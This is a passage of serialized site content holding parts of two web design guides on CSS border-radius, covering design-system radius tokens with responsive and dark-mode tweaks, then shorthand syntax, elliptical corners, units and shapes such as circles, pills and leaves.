4px, 8px, 16px, 9999px\n",[143,17086,17084],{"__ignoreMap":141},[16,17088,17089],{},"This mirrors how people perceive size differences — a 2px change matters more at small sizes than at large ones.",[33,17091,17093],{"id":17092},"which-to-choose","Which to Choose",[41,17095,17096,17102],{},[44,17097,17098,17101],{},[47,17099,17100],{},"Linear"," for enterprise\u002Finternal tools where consistency matters more than personality",[44,17103,17104,17107],{},[47,17105,17106],{},"Non-linear"," for consumer-facing products where visual hierarchy drives engagement",[11,17109,17111],{"id":17110},"responsive-radius","Responsive Radius",[16,17113,17114],{},"On small screens, large radii eat into content area. Scale down radii on mobile:",[135,17116,17118],{"className":1554,"code":17117,"language":1556,"meta":141,"style":141},":root {\n  --radius-sm: 4px;\n  --radius-md: 8px;\n  --radius-lg: 12px;\n  --radius-xl: 16px;\n}\n\n@media (max-width: 640px) {\n  :root {\n    --radius-lg: 8px;\n    --radius-xl: 12px;\n  }\n}\n",[143,17119,17120,17126,17138,17150,17162,17174,17178,17182,17201,17208,17221,17234,17238],{"__ignoreMap":141},[1560,17121,17122,17124],{"class":1562,"line":1563},[1560,17123,2207],{"class":1566},[1560,17125,1571],{"class":1570},[1560,17127,17128,17130,17132,17134,17136],{"class":1562,"line":337},[1560,17129,16838],{"class":2219},[1560,17131,1663],{"class":1570},[1560,17133,12546],{"class":1576},[1560,17135,1670],{"class":1669},[1560,17137,2228],{"class":1570},[1560,17139,17140,17142,17144,17146,17148],{"class":1562,"line":343},[1560,17141,16851],{"class":2219},[1560,17143,1663],{"class":1570},[1560,17145,10078],{"class":1576},[1560,17147,1670],{"class":1669},[1560,17149,2228],{"class":1570},[1560,17151,17152,17154,17156,17158,17160],{"class":1562,"line":365},[1560,17153,16864],{"class":2219},[1560,17155,1663],{"class":1570},[1560,17157,13566],{"class":1576},[1560,17159,1670],{"class":1669},[1560,17161,2228],{"class":1570},[1560,17163,17164,17166,17168,17170,17172],{"class":1562,"line":889},[1560,17165,16877],{"class":2219},[1560,17167,1663],{"class":1570},[1560,17169,10057],{"class":1576},[1560,17171,1670],{"class":1669},[1560,17173,2228],{"class":1570},[1560,17175,17176],{"class":1562,"line":1710},[1560,17177,1585],{"class":1570},[1560,17179,17180],{"class":1562,"line":1717},[1560,17181,1702],{"emptyLinePlaceholder":363},[1560,17183,17184,17187,17189,17192,17194,17197,17199],{"class":1562,"line":1747},[1560,17185,17186],{"class":1669},"@media",[1560,17188,5181],{"class":1570},[1560,17190,17191],{"class":1576},"max-width",[1560,17193,1663],{"class":1570},[1560,17195,17196],{"class":1576},"640",[1560,17198,1670],{"class":1669},[1560,17200,9345],{"class":1570},[1560,17202,17203,17206],{"class":1562,"line":2507},[1560,17204,17205],{"class":1566},"  :root",[1560,17207,1571],{"class":1570},[1560,17209,17210,17213,17215,17217,17219],{"class":1562,"line":2524},[1560,17211,17212],{"class":2219},"    --radius-lg",[1560,17214,1663],{"class":1570},[1560,17216,10078],{"class":1576},[1560,17218,1670],{"class":1669},[1560,17220,2228],{"class":1570},[1560,17222,17223,17226,17228,17230,17232],{"class":1562,"line":2529},[1560,17224,17225],{"class":2219},"    --radius-xl",[1560,17227,1663],{"class":1570},[1560,17229,13566],{"class":1576},[1560,17231,1670],{"class":1669},[1560,17233,2228],{"class":1570},[1560,17235,17236],{"class":1562,"line":2534},[1560,17237,4959],{"class":1570},[1560,17239,17240],{"class":1562,"line":2542},[1560,17241,1585],{"class":1570},[16,17243,17244],{},"This preserves the token hierarchy while reducing the visual weight of rounded corners on constrained viewports.",[11,17246,17248],{"id":17247},"dark-mode-considerations","Dark Mode Considerations",[16,17250,17251],{},"Rounded corners can create visual ambiguity in dark mode when two dark elements overlap without visible borders. Ensure sufficient contrast between nested rounded elements:",[135,17253,17255],{"className":1554,"code":17254,"language":1556,"meta":141,"style":141},"\u002F* Light mode: subtle border provides separation *\u002F\n.card {\n  border: 1px solid var(--color-border);\n  border-radius: var(--radius-lg);\n}\n\n\u002F* Dark mode: increase border visibility *\u002F\n:root.dark .card {\n  border-color: var(--color-border-strong);\n}\n",[143,17256,17257,17262,17268,17290,17305,17309,17313,17318,17327,17343],{"__ignoreMap":141},[1560,17258,17259],{"class":1562,"line":1563},[1560,17260,17261],{"class":1649},"\u002F* Light mode: subtle border provides separation *\u002F\n",[1560,17263,17264,17266],{"class":1562,"line":337},[1560,17265,1567],{"class":1566},[1560,17267,1571],{"class":1570},[1560,17269,17270,17272,17274,17276,17278,17280,17283,17285,17288],{"class":1562,"line":343},[1560,17271,3580],{"class":1576},[1560,17273,1663],{"class":1570},[1560,17275,3585],{"class":1576},[1560,17277,1670],{"class":1669},[1560,17279,3590],{"class":1576},[1560,17281,17282],{"class":1576}," var",[1560,17284,1688],{"class":1570},[1560,17286,17287],{"class":2219},"--color-border",[1560,17289,1744],{"class":1570},[1560,17291,17292,17295,17297,17299,17301,17303],{"class":1562,"line":365},[1560,17293,17294],{"class":1576},"  border-radius",[1560,17296,1663],{"class":1570},[1560,17298,2497],{"class":1576},[1560,17300,1688],{"class":1570},[1560,17302,16779],{"class":2219},[1560,17304,1744],{"class":1570},[1560,17306,17307],{"class":1562,"line":889},[1560,17308,1585],{"class":1570},[1560,17310,17311],{"class":1562,"line":1710},[1560,17312,1702],{"emptyLinePlaceholder":363},[1560,17314,17315],{"class":1562,"line":1717},[1560,17316,17317],{"class":1649},"\u002F* Dark mode: increase border visibility *\u002F\n",[1560,17319,17320,17322,17325],{"class":1562,"line":1747},[1560,17321,2283],{"class":1566},[1560,17323,17324],{"class":1566}," .card",[1560,17326,1571],{"class":1570},[1560,17328,17329,17332,17334,17336,17338,17341],{"class":1562,"line":2507},[1560,17330,17331],{"class":1576},"  border-color",[1560,17333,1663],{"class":1570},[1560,17335,2497],{"class":1576},[1560,17337,1688],{"class":1570},[1560,17339,17340],{"class":2219},"--color-border-strong",[1560,17342,1744],{"class":1570},[1560,17344,17345],{"class":1562,"line":2524},[1560,17346,1585],{"class":1570},[11,17348,17350],{"id":17349},"integration-with-component-libraries","Integration with Component Libraries",[16,17352,17353],{},"When building components that accept a radius prop, map to tokens rather than accepting arbitrary values:",[135,17355,17359],{"className":17356,"code":17357,"language":17358,"meta":141,"style":141},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript setup lang=\"ts\">\nconst props = defineProps\u003C{\n  radius?: 'none' | 'sm' | 'md' | 'lg' | 'xl' | 'full'\n}>()\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cdiv :class=\"`rounded-${props.radius ?? 'md'}`\">\n    \u003Cslot \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n","vue",[143,17360,17361,17380,17395,17432,17437,17445,17449,17458,17474,17485,17493],{"__ignoreMap":141},[1560,17362,17363,17365,17367,17370,17373,17375,17378],{"class":1562,"line":1563},[1560,17364,6431],{"class":1570},[1560,17366,11475],{"class":2484},[1560,17368,17369],{"class":1566}," setup",[1560,17371,17372],{"class":1566}," lang",[1560,17374,7297],{"class":1570},[1560,17376,17377],{"class":5634},"\"ts\"",[1560,17379,6441],{"class":1570},[1560,17381,17382,17384,17387,17389,17392],{"class":1562,"line":337},[1560,17383,8180],{"class":1669},[1560,17385,17386],{"class":1576}," props",[1560,17388,8186],{"class":1669},[1560,17390,17391],{"class":1566}," defineProps",[1560,17393,17394],{"class":1570},"\u003C{\n",[1560,17396,17397,17400,17403,17406,17409,17412,17414,17417,17419,17422,17424,17427,17429],{"class":1562,"line":343},[1560,17398,17399],{"class":2219},"  radius",[1560,17401,17402],{"class":1669},"?:",[1560,17404,17405],{"class":5634}," 'none'",[1560,17407,17408],{"class":1669}," |",[1560,17410,17411],{"class":5634}," 'sm'",[1560,17413,17408],{"class":1669},[1560,17415,17416],{"class":5634}," 'md'",[1560,17418,17408],{"class":1669},[1560,17420,17421],{"class":5634}," 'lg'",[1560,17423,17408],{"class":1669},[1560,17425,17426],{"class":5634}," 'xl'",[1560,17428,17408],{"class":1669},[1560,17430,17431],{"class":5634}," 'full'\n",[1560,17433,17434],{"class":1562,"line":365},[1560,17435,17436],{"class":1570},"}>()\n",[1560,17438,17439,17441,17443],{"class":1562,"line":889},[1560,17440,11242],{"class":1570},[1560,17442,11475],{"class":2484},[1560,17444,6441],{"class":1570},[1560,17446,17447],{"class":1562,"line":1710},[1560,17448,1702],{"emptyLinePlaceholder":363},[1560,17450,17451,17453,17456],{"class":1562,"line":1717},[1560,17452,6431],{"class":1570},[1560,17454,17455],{"class":2484},"template",[1560,17457,6441],{"class":1570},[1560,17459,17460,17462,17464,17467,17469,17472],{"class":1562,"line":1747},[1560,17461,11223],{"class":1570},[1560,17463,7291],{"class":2484},[1560,17465,17466],{"class":1566}," :class",[1560,17468,7297],{"class":1570},[1560,17470,17471],{"class":5634},"\"`rounded-${props.radius ?? 'md'}`\"",[1560,17473,6441],{"class":1570},[1560,17475,17476,17478,17481,17483],{"class":1562,"line":2507},[1560,17477,12292],{"class":1570},[1560,17479,17480],{"class":2484},"slot",[1560,17482,11912],{"class":5159},[1560,17484,6441],{"class":1570},[1560,17486,17487,17489,17491],{"class":1562,"line":2524},[1560,17488,12331],{"class":1570},[1560,17490,7291],{"class":2484},[1560,17492,6441],{"class":1570},[1560,17494,17495,17497,17499],{"class":1562,"line":2529},[1560,17496,11242],{"class":1570},[1560,17498,17455],{"class":2484},[1560,17500,6441],{"class":1570},[16,17502,17503,17504,8037],{},"With Tailwind CSS, use the configured radius tokens in ",[143,17505,17506],{},"tailwind.config.ts",[135,17508,17512],{"className":17509,"code":17510,"language":17511,"meta":141,"style":141},"language-typescript shiki shiki-themes github-light github-dark","export default defineConfig({\n  theme: {\n    borderRadius: {\n      none: '0',\n      sm: 'var(--radius-sm)',\n      md: 'var(--radius-md)',\n      lg: 'var(--radius-lg)',\n      xl: 'var(--radius-xl)',\n      full: '9999px',\n    },\n  },\n})\n","typescript",[143,17513,17514,17526,17531,17536,17546,17556,17566,17576,17586,17596,17601,17605],{"__ignoreMap":141},[1560,17515,17516,17518,17520,17523],{"class":1562,"line":1563},[1560,17517,9187],{"class":1669},[1560,17519,11837],{"class":1669},[1560,17521,17522],{"class":1566}," defineConfig",[1560,17524,17525],{"class":1570},"({\n",[1560,17527,17528],{"class":1562,"line":337},[1560,17529,17530],{"class":1570},"  theme: {\n",[1560,17532,17533],{"class":1562,"line":343},[1560,17534,17535],{"class":1570},"    borderRadius: {\n",[1560,17537,17538,17541,17544],{"class":1562,"line":365},[1560,17539,17540],{"class":1570},"      none: ",[1560,17542,17543],{"class":5634},"'0'",[1560,17545,11943],{"class":1570},[1560,17547,17548,17551,17554],{"class":1562,"line":889},[1560,17549,17550],{"class":1570},"      sm: ",[1560,17552,17553],{"class":5634},"'var(--radius-sm)'",[1560,17555,11943],{"class":1570},[1560,17557,17558,17561,17564],{"class":1562,"line":1710},[1560,17559,17560],{"class":1570},"      md: ",[1560,17562,17563],{"class":5634},"'var(--radius-md)'",[1560,17565,11943],{"class":1570},[1560,17567,17568,17571,17574],{"class":1562,"line":1717},[1560,17569,17570],{"class":1570},"      lg: ",[1560,17572,17573],{"class":5634},"'var(--radius-lg)'",[1560,17575,11943],{"class":1570},[1560,17577,17578,17581,17584],{"class":1562,"line":1747},[1560,17579,17580],{"class":1570},"      xl: ",[1560,17582,17583],{"class":5634},"'var(--radius-xl)'",[1560,17585,11943],{"class":1570},[1560,17587,17588,17591,17594],{"class":1562,"line":2507},[1560,17589,17590],{"class":1570},"      full: ",[1560,17592,17593],{"class":5634},"'9999px'",[1560,17595,11943],{"class":1570},[1560,17597,17598],{"class":1562,"line":2524},[1560,17599,17600],{"class":1570},"    },\n",[1560,17602,17603],{"class":1562,"line":2529},[1560,17604,11862],{"class":1570},[1560,17606,17607],{"class":1562,"line":2534},[1560,17608,1626],{"class":1570},[11,17610,1355],{"id":1354},[41,17612,17613,17616,17624,17627,17630,17633],{},[44,17614,17615],{},"Define 4–6 radius tokens to constrain choice and enforce consistency",[44,17617,17618,17619,17621,17622,1525],{},"Use semantic naming (",[143,17620,16754],{},") over literal naming (",[143,17623,16927],{},[44,17625,17626],{},"Linear scales suit utilitarian UIs; non-linear scales add visual personality",[44,17628,17629],{},"Reduce radii on mobile to preserve content area",[44,17631,17632],{},"Dark mode may need stronger borders at rounded intersections",[44,17634,17635],{},"Components should accept token names, not arbitrary pixel values",[11,17637,286],{"id":285},[16,17639,17640,17641,17645],{},"Preview border-radius values across different element sizes with our ",[98,17642,17644],{"href":17643},"\u002Ftools\u002Fborder-radius","Border Radius Generator",". Test individual corners, copy CSS custom property definitions, and experiment with responsive adjustments.",[11,17647,321],{"id":320},[41,17649,17650,17657],{},[44,17651,17652,17656],{},[98,17653,17655],{"href":17654},"\u002Fguides\u002Fborder-radius-guide","Border Radius Guide"," — complete syntax and individual corner control",[44,17658,17659,17663],{},[98,17660,17662],{"href":17661},"\u002Fguides\u002Fcomplex-css-shapes","Complex CSS Shapes"," — pushing border-radius into organic and geometric forms",[2043,17665,17666],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":141,"searchDepth":337,"depth":337,"links":17668},[17669,17670,17671,17672,17677,17678,17679,17680,17681,17682],{"id":16695,"depth":337,"text":16696},{"id":16717,"depth":337,"text":16718},{"id":16920,"depth":337,"text":16921},{"id":17056,"depth":337,"text":17057,"children":17673},[17674,17675,17676],{"id":17060,"depth":343,"text":17061},{"id":17076,"depth":343,"text":17077},{"id":17092,"depth":343,"text":17093},{"id":17110,"depth":337,"text":17111},{"id":17247,"depth":337,"text":17248},{"id":17349,"depth":337,"text":17350},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how to define and manage border-radius tokens in a design system. Covers scaling strategies, semantic naming, and responsive adaptations.",{"keywords":17685,"immutable":363},[16947,17686],"border-radius-design-systems","\u002Fguides\u002Fborder-radius-design-systems",{"title":16690,"description":17683},"guides\u002Fborder-radius-design-systems","81KbtIveQyNzHLyjeBXMadxN6CJYAhUjQJ9GCP-7WSU",{"id":17692,"title":17693,"body":17694,"date":2070,"description":18632,"extension":361,"meta":18633,"navigation":363,"path":17654,"readingTime":1717,"seo":18636,"stem":18637,"__hash__":18638},"guides\u002Fguides\u002Fborder-radius-guide.md","Border Radius Guide: Mastering Rounded Corners in CSS",{"type":8,"value":17695,"toc":18610},[17696,17700,17706,17712,17716,17721,17786,17790,17832,17835,17839,17842,17878,17881,17893,17896,17900,17906,17939,17942,17946,17949,17997,18000,18004,18007,18014,18068,18071,18075,18081,18135,18139,18142,18202,18208,18212,18215,18262,18266,18269,18356,18361,18365,18368,18472,18475,18479,18485,18531,18534,18538,18541,18543,18575,18577,18589,18591,18607],[11,17697,17699],{"id":17698},"what-is-border-radius","What Is border-radius?",[16,17701,17702,17703,17705],{},"The CSS ",[143,17704,16947],{}," property rounds the corners of an element's outer border edge. You can round all four corners uniformly or control each corner independently. The property accepts length values (px, em, rem) and percentages, and each corner can have separate horizontal and vertical radii for elliptical curves.",[16,17707,17708,17709,17711],{},"Browser support is universal — every modern browser has supported ",[143,17710,16947],{}," without vendor prefixes since 2013.",[11,17713,17715],{"id":17714},"syntax-and-shorthand","Syntax and Shorthand",[16,17717,421,17718,17720],{},[143,17719,16947],{}," shorthand follows a clockwise order: top-left, top-right, bottom-right, bottom-left.",[135,17722,17724],{"className":1554,"code":17723,"language":1556,"meta":141,"style":141},"\u002F* 1 value: all corners equal *\u002F\nborder-radius: 8px;\n\n\u002F* 2 values: top-left+bottom-right, top-right+bottom-left *\u002F\nborder-radius: 8px 16px;\n\n\u002F* 3 values: top-left, top-right+bottom-left, bottom-right *\u002F\nborder-radius: 8px 16px 24px;\n\n\u002F* 4 values: top-left, top-right, bottom-right, bottom-left *\u002F\nborder-radius: 8px 16px 24px 32px;\n",[143,17725,17726,17731,17738,17742,17747,17754,17758,17763,17770,17774,17779],{"__ignoreMap":141},[1560,17727,17728],{"class":1562,"line":1563},[1560,17729,17730],{"class":1649},"\u002F* 1 value: all corners equal *\u002F\n",[1560,17732,17733,17735],{"class":1562,"line":337},[1560,17734,16947],{"class":2484},[1560,17736,17737],{"class":1570},": 8px;\n",[1560,17739,17740],{"class":1562,"line":343},[1560,17741,1702],{"emptyLinePlaceholder":363},[1560,17743,17744],{"class":1562,"line":365},[1560,17745,17746],{"class":1649},"\u002F* 2 values: top-left+bottom-right, top-right+bottom-left *\u002F\n",[1560,17748,17749,17751],{"class":1562,"line":889},[1560,17750,16947],{"class":2484},[1560,17752,17753],{"class":1570},": 8px 16px;\n",[1560,17755,17756],{"class":1562,"line":1710},[1560,17757,1702],{"emptyLinePlaceholder":363},[1560,17759,17760],{"class":1562,"line":1717},[1560,17761,17762],{"class":1649},"\u002F* 3 values: top-left, top-right+bottom-left, bottom-right *\u002F\n",[1560,17764,17765,17767],{"class":1562,"line":1747},[1560,17766,16947],{"class":2484},[1560,17768,17769],{"class":1570},": 8px 16px 24px;\n",[1560,17771,17772],{"class":1562,"line":2507},[1560,17773,1702],{"emptyLinePlaceholder":363},[1560,17775,17776],{"class":1562,"line":2524},[1560,17777,17778],{"class":1649},"\u002F* 4 values: top-left, top-right, bottom-right, bottom-left *\u002F\n",[1560,17780,17781,17783],{"class":1562,"line":2529},[1560,17782,16947],{"class":2484},[1560,17784,17785],{"class":1570},": 8px 16px 24px 32px;\n",[33,17787,17789],{"id":17788},"shorthand-value-mapping","Shorthand Value Mapping",[193,17791,17792,17801],{},[196,17793,17794],{},[199,17795,17796,17798],{},[202,17797,14308],{},[202,17799,17800],{},"Corners Affected",[211,17802,17803,17810,17817,17825],{},[199,17804,17805,17807],{},[216,17806,3585],{},[216,17808,17809],{},"All four corners equally",[199,17811,17812,17814],{},[216,17813,10099],{},[216,17815,17816],{},"Top-left\u002Fbottom-right, top-right\u002Fbottom-left",[199,17818,17819,17822],{},[216,17820,17821],{},"3",[216,17823,17824],{},"Top-left, top-right\u002Fbottom-left, bottom-right",[199,17826,17827,17829],{},[216,17828,12546],{},[216,17830,17831],{},"Top-left, top-right, bottom-right, bottom-left",[16,17833,17834],{},"Think of the pattern as mirroring: when you provide fewer than four values, the missing values mirror their diagonal opposites.",[11,17836,17838],{"id":17837},"individual-corner-properties","Individual Corner Properties",[16,17840,17841],{},"For granular control, use the longhand properties:",[135,17843,17845],{"className":1554,"code":17844,"language":1556,"meta":141,"style":141},"border-top-left-radius: 8px;\nborder-top-right-radius: 16px;\nborder-bottom-right-radius: 24px;\nborder-bottom-left-radius: 32px;\n",[143,17846,17847,17854,17862,17870],{"__ignoreMap":141},[1560,17848,17849,17852],{"class":1562,"line":1563},[1560,17850,17851],{"class":2484},"border-top-left-radius",[1560,17853,17737],{"class":1570},[1560,17855,17856,17859],{"class":1562,"line":337},[1560,17857,17858],{"class":2484},"border-top-right-radius",[1560,17860,17861],{"class":1570},": 16px;\n",[1560,17863,17864,17867],{"class":1562,"line":343},[1560,17865,17866],{"class":2484},"border-bottom-right-radius",[1560,17868,17869],{"class":1570},": 24px;\n",[1560,17871,17872,17875],{"class":1562,"line":365},[1560,17873,17874],{"class":2484},"border-bottom-left-radius",[1560,17876,17877],{"class":1570},": 32px;\n",[16,17879,17880],{},"Each longhand property also accepts two values — the first for the horizontal radius, the second for the vertical — separated by a slash:",[135,17882,17884],{"className":1554,"code":17883,"language":1556,"meta":141,"style":141},"border-top-left-radius: 40px 20px;\n",[143,17885,17886],{"__ignoreMap":141},[1560,17887,17888,17890],{"class":1562,"line":1563},[1560,17889,17851],{"class":2484},[1560,17891,17892],{"class":1570},": 40px 20px;\n",[16,17894,17895],{},"This creates an elliptical corner instead of a circular one.",[11,17897,17899],{"id":17898},"elliptical-corners-with-the-slash-syntax","Elliptical Corners with the Slash Syntax",[16,17901,17902,17903,17905],{},"When you need different horizontal and vertical radii, use the ",[143,17904,9423],{}," separator in the shorthand:",[135,17907,17909],{"className":1554,"code":17908,"language":1556,"meta":141,"style":141},"\u002F* horizontal \u002F vertical *\u002F\nborder-radius: 40px \u002F 20px;\n\n\u002F* Different per corner *\u002F\nborder-radius: 40px 10px \u002F 20px 5px;\n",[143,17910,17911,17916,17923,17927,17932],{"__ignoreMap":141},[1560,17912,17913],{"class":1562,"line":1563},[1560,17914,17915],{"class":1649},"\u002F* horizontal \u002F vertical *\u002F\n",[1560,17917,17918,17920],{"class":1562,"line":337},[1560,17919,16947],{"class":2484},[1560,17921,17922],{"class":1570},": 40px \u002F 20px;\n",[1560,17924,17925],{"class":1562,"line":343},[1560,17926,1702],{"emptyLinePlaceholder":363},[1560,17928,17929],{"class":1562,"line":365},[1560,17930,17931],{"class":1649},"\u002F* Different per corner *\u002F\n",[1560,17933,17934,17936],{"class":1562,"line":889},[1560,17935,16947],{"class":2484},[1560,17937,17938],{"class":1570},": 40px 10px \u002F 20px 5px;\n",[16,17940,17941],{},"The values before the slash define horizontal radii (clockwise). The values after define vertical radii (clockwise). This is how you create leaf and egg shapes.",[11,17943,17945],{"id":17944},"pixels-vs-percentages","Pixels vs. Percentages",[16,17947,17948],{},"The unit you choose changes the behavior significantly.",[193,17950,17951,17963],{},[196,17952,17953],{},[199,17954,17955,17958,17961],{},[202,17956,17957],{},"Unit",[202,17959,17960],{},"Behavior",[202,17962,489],{},[211,17964,17965,17975,17986],{},[199,17966,17967,17969,17972],{},[216,17968,1670],{},[216,17970,17971],{},"Fixed rounding regardless of size",[216,17973,17974],{},"Buttons, cards, consistent UI",[199,17976,17977,17980,17983],{},[216,17978,17979],{},"em\u002Frem",[216,17981,17982],{},"Scales with font size",[216,17984,17985],{},"Typography-linked components",[199,17987,17988,17991,17994],{},[216,17989,17990],{},"%",[216,17992,17993],{},"Relative to element dimensions",[216,17995,17996],{},"Circles, ellipses, organic shapes",[16,17998,17999],{},"Pixel values produce predictable, consistent curves. Percentage values calculate the radius relative to the element's own width and height, which creates wildly different results on non-square elements.",[11,18001,18003],{"id":18002},"creating-common-shapes","Creating Common Shapes",[33,18005,18006],{"id":12295},"Circle",[16,18008,18009,18010,18013],{},"A square element with ",[143,18011,18012],{},"50%"," radius becomes a perfect circle.",[135,18015,18017],{"className":1554,"code":18016,"language":1556,"meta":141,"style":141},".circle {\n  width: 120px;\n  height: 120px;\n  border-radius: 50%;\n}\n",[143,18018,18019,18026,18039,18051,18064],{"__ignoreMap":141},[1560,18020,18021,18024],{"class":1562,"line":1563},[1560,18022,18023],{"class":1566},".circle",[1560,18025,1571],{"class":1570},[1560,18027,18028,18030,18032,18035,18037],{"class":1562,"line":337},[1560,18029,12386],{"class":1576},[1560,18031,1663],{"class":1570},[1560,18033,18034],{"class":1576},"120",[1560,18036,1670],{"class":1669},[1560,18038,2228],{"class":1570},[1560,18040,18041,18043,18045,18047,18049],{"class":1562,"line":343},[1560,18042,12400],{"class":1576},[1560,18044,1663],{"class":1570},[1560,18046,18034],{"class":1576},[1560,18048,1670],{"class":1669},[1560,18050,2228],{"class":1570},[1560,18052,18053,18055,18057,18060,18062],{"class":1562,"line":365},[1560,18054,17294],{"class":1576},[1560,18056,1663],{"class":1570},[1560,18058,18059],{"class":1576},"50",[1560,18061,17990],{"class":1669},[1560,18063,2228],{"class":1570},[1560,18065,18066],{"class":1562,"line":889},[1560,18067,1585],{"class":1570},[16,18069,18070],{},"The element must be square. If the width and height differ, you get an ellipse instead.",[33,18072,18074],{"id":18073},"ellipse","Ellipse",[16,18076,18077,18078,18080],{},"Any rectangular element with ",[143,18079,18012],{}," radius becomes an ellipse.",[135,18082,18084],{"className":1554,"code":18083,"language":1556,"meta":141,"style":141},".ellipse {\n  width: 200px;\n  height: 100px;\n  border-radius: 50%;\n}\n",[143,18085,18086,18093,18106,18119,18131],{"__ignoreMap":141},[1560,18087,18088,18091],{"class":1562,"line":1563},[1560,18089,18090],{"class":1566},".ellipse",[1560,18092,1571],{"class":1570},[1560,18094,18095,18097,18099,18102,18104],{"class":1562,"line":337},[1560,18096,12386],{"class":1576},[1560,18098,1663],{"class":1570},[1560,18100,18101],{"class":1576},"200",[1560,18103,1670],{"class":1669},[1560,18105,2228],{"class":1570},[1560,18107,18108,18110,18112,18115,18117],{"class":1562,"line":343},[1560,18109,12400],{"class":1576},[1560,18111,1663],{"class":1570},[1560,18113,18114],{"class":1576},"100",[1560,18116,1670],{"class":1669},[1560,18118,2228],{"class":1570},[1560,18120,18121,18123,18125,18127,18129],{"class":1562,"line":365},[1560,18122,17294],{"class":1576},[1560,18124,1663],{"class":1570},[1560,18126,18059],{"class":1576},[1560,18128,17990],{"class":1669},[1560,18130,2228],{"class":1570},[1560,18132,18133],{"class":1562,"line":889},[1560,18134,1585],{"class":1570},[33,18136,18138],{"id":18137},"pill-capsule","Pill \u002F Capsule",[16,18140,18141],{},"A pill shape requires a radius equal to or greater than half the shorter dimension.",[135,18143,18145],{"className":1554,"code":18144,"language":1556,"meta":141,"style":141},".pill {\n  height: 40px;\n  border-radius: 9999px; \u002F* or 20px if height is fixed *\u002F\n  padding: 0 24px;\n}\n",[143,18146,18147,18154,18167,18182,18198],{"__ignoreMap":141},[1560,18148,18149,18152],{"class":1562,"line":1563},[1560,18150,18151],{"class":1566},".pill",[1560,18153,1571],{"class":1570},[1560,18155,18156,18158,18160,18163,18165],{"class":1562,"line":337},[1560,18157,12400],{"class":1576},[1560,18159,1663],{"class":1570},[1560,18161,18162],{"class":1576},"40",[1560,18164,1670],{"class":1669},[1560,18166,2228],{"class":1570},[1560,18168,18169,18171,18173,18175,18177,18179],{"class":1562,"line":343},[1560,18170,17294],{"class":1576},[1560,18172,1663],{"class":1570},[1560,18174,16895],{"class":1576},[1560,18176,1670],{"class":1669},[1560,18178,3664],{"class":1570},[1560,18180,18181],{"class":1649},"\u002F* or 20px if height is fixed *\u002F\n",[1560,18183,18184,18187,18189,18191,18194,18196],{"class":1562,"line":365},[1560,18185,18186],{"class":1576},"  padding",[1560,18188,1663],{"class":1570},[1560,18190,5285],{"class":1576},[1560,18192,18193],{"class":1576}," 24",[1560,18195,1670],{"class":1669},[1560,18197,2228],{"class":1570},[1560,18199,18200],{"class":1562,"line":889},[1560,18201,1585],{"class":1570},[16,18203,18204,18205,18207],{},"Using ",[143,18206,16808],{}," (or any absurdly large value) ensures the pill shape holds even if the element size changes. The browser clamps the radius at half the shorter side internally.",[33,18209,18211],{"id":18210},"leaf-shape","Leaf Shape",[16,18213,18214],{},"Combine two opposite corners with large radii to create a leaf or teardrop:",[135,18216,18218],{"className":1554,"code":18217,"language":1556,"meta":141,"style":141},".leaf {\n  border-radius: 0 80px 0 80px;\n  background: #10B981;\n}\n",[143,18219,18220,18227,18247,18258],{"__ignoreMap":141},[1560,18221,18222,18225],{"class":1562,"line":1563},[1560,18223,18224],{"class":1566},".leaf",[1560,18226,1571],{"class":1570},[1560,18228,18229,18231,18233,18235,18237,18239,18241,18243,18245],{"class":1562,"line":337},[1560,18230,17294],{"class":1576},[1560,18232,1663],{"class":1570},[1560,18234,5285],{"class":1576},[1560,18236,9342],{"class":1576},[1560,18238,1670],{"class":1669},[1560,18240,13541],{"class":1576},[1560,18242,9342],{"class":1576},[1560,18244,1670],{"class":1669},[1560,18246,2228],{"class":1570},[1560,18248,18249,18251,18253,18256],{"class":1562,"line":343},[1560,18250,5665],{"class":1576},[1560,18252,1663],{"class":1570},[1560,18254,18255],{"class":1576},"#10B981",[1560,18257,2228],{"class":1570},[1560,18259,18260],{"class":1562,"line":365},[1560,18261,1585],{"class":1570},[33,18263,18265],{"id":18264},"egg-shape","Egg Shape",[16,18267,18268],{},"Use different horizontal and vertical radii on the top corners:",[135,18270,18272],{"className":1554,"code":18271,"language":1556,"meta":141,"style":141},".egg {\n  width: 120px;\n  height: 160px;\n  border-radius: 50% 50% 50% 50% \u002F 60% 60% 40% 